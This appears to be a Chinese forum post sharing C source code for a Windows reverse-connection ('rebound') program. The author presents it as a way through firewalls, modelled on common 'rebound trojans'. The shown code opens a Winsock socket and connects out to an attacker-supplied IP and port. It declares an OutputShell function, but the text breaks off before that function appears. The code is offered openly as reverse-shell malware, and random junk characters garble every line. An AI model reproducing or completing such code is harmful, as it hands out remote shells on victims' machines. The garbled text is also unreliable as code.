这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。
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/* ============================== !e$gp(4
Rebound port in Windows NT N<EVs.7
By wind,2006/7 4<s.|W`
===============================*/ s-i|P
#include rg/{5f
#include '<Z[e`/
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#pragma comment(lib,"wsock32.lib") 1uF$$E6[
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void OutputShell(); (8 nv&|
SOCKET sClient; T t;F-
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; O*yxOb*
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void main(int argc,char **argv) H=dIZ
{ !Sq<_TO
WSADATA stWsaData; %pWn9
int nRet; =:W2NN'
SOCKADDR_IN stSaiClient,stSaiServer; :1v,QEb\
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if(argc != 3) qA*~B'
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printf("Useage:\n\rRebound DestIP DestPort\n"); lU
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return; Z%T Ajm
} Ts iJK
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WSAStartup(MAKEWORD(2,2),&stWsaData); _ _O f0<
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); XxqGsGx4
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stSaiClient.sin_family = AF_INET; z*@eQauA
stSaiClient.sin_port = htons(0); PK*Wu<<
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); #A63?kDE&&
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Ik G&
{ 'C+cQLig@
printf("Bind Socket Failed!\n"); z2=bbm:
return; .?>Cav9:
} fv+]iK<{
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stSaiServer.sin_family = AF_INET; ;p`1Y<d-O
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); \i.]-k
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); bzN[*X|
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) M!&Hn,22
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